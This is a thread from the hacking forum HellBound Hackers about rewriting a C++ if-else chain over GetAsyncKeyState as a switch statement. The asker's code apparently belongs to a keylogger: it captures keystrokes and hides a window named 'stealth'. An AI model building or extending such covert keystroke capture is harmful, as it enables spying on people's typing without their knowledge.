Join us at IRC!
One mans freedom fighter, another's terrorist.
Wednesday, May 23, 2012
Navigation
Members Online
Total Online: 33
Web Spiders: 15
Guests Online: 32
Members Online: 1

Registered Members: 70170
Newest Member: bahmx
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Author

C++ switch statement help

Froger
Member

Posts: 76
Location:
Joined: 21.09.08
Rank:
Wiseman
Posted on 29-04-11 14:46
Hello, I am having a little bit of difficulty finding out how I can take out the if else statements in my scblockedript, and replace them with a switch statement. I started learning c++ recently, sooo I probably haven't done enough google searching yet. Don't get me wrong, I know how to use a switch statement. It's just I don't know how to get a switch statement to be used with GetAsyncKeyState. Here is the code...



if (!GetAsyncKeyState(VK_BACK))
{
if (!GetAsyncKeyState(VK_RETURN))
{
if (GetAsyncKeyState(190))
{
printf(".",character,character);
} else if (GetAsyncKeyState(160)) {
printf("",character,character);
} else if (GetAsyncKeyState(188)) {
printf(",",character,character);
} else if (GetAsyncKeyState(222)) {
printf("'",character,character);
} else if (GetAsyncKeyState(186)) {
printf("",character,character);
} else if (GetAsyncKeyState(191)) {
printf("",character,character);
} else if (GetAsyncKeyState(20)) {
printf("",character,character);
} else if (GetAsyncKeyState(220)) {
printf("",character,character);
} else if (GetAsyncKeyState(221)) {
printf("",character,character);
} else if (GetAsyncKeyState(219)) {
printf("",character,character);
} else if (GetAsyncKeyState(287)) {
printf("",character,character);
} else if (GetAsyncKeyState(289)) {
printf("",character,character);
} else if (GetAsyncKeyState(17)) {
printf("",character,character);
} else if (GetAsyncKeyState(162)) {
printf("",character,character);
} else if (GetAsyncKeyState(187)) {
printf("",character,character);
} else if (GetAsyncKeyState(189)) {
printf("",character,character);
} else if (GetAsyncKeyState(16)) {
printf("",character,character);
} else if (GetAsyncKeyState(161)) {
printf("",character,character);
} else if (GetAsyncKeyState(192)) {
printf("",character,character);
} else if (GetAsyncKeyState(27)) {
printf("",character,character);
} else if (GetAsyncKeyState(34)) {
ShowWindow(stealth, SW_SHOWMINIMIZED);
} else if (GetAsyncKeyState(35)) {
ShowWindow(stealth, 0);
} else {
printf("%c",character,character);
}
}
}

Author

RE: C++ switch statement help

wolfmankurd
Member



Posts: 1519
Location: UK
Joined: 30.05.05
Rank:
God
Posted on 29-04-11 15:42
Sweet Jesus that's horrible!

Switch-case are used to check one result against a set of values. Not to check multiple results( I think PHP lets you do this actually).

Is there a function which will return pressed keys? If so...

if((!GetAsyncKeyState(VK_BACK))&&(!GetAsyncKeyState(VK_RETURN))){
switch(getPressedKey()){
case 160:
printf("",character,character);
break;
..................
default:
printf("%c",character,character);
}
}



BY READING MY POST, YOU ACCEPT IT AS IS AND AGREE TO MY DISCLAIMER OF ALL WARRANTIES, EXPRESS OR IMPLIED, AS WELL AS DISCLAIMERS OF ALL LIABILITY, DIRECT, INDIRECT, CONSEQUENTIAL OR INCIDENTAL, THAT MAY ARISE FROM THE USE OF THIS (MIS)INFORMATION.




Edited by wolfmankurd on 29-04-11 16:46
Widowmakr@hotmail.com http://LetsHackStuff.com
Author

RE: C++ switch statement help

Froger
Member

Posts: 76
Location:
Joined: 21.09.08
Rank:
Wiseman
Posted on 29-04-11 17:20
Thanks wolfman for the help. I have found my answer though. With a little bit of modifications to my code and a for statement, I am now able to get what I want done. Thanks again.
Guest
Username

Password

Remember Me


Bookmark This Page
Affiliates
Adverts

 

 

Links
By using, viewing or obtaining any information contained on this site, you agree to the disclaimer.

© HellBound Hackers 2008- 2009. Since 3rd December 2004.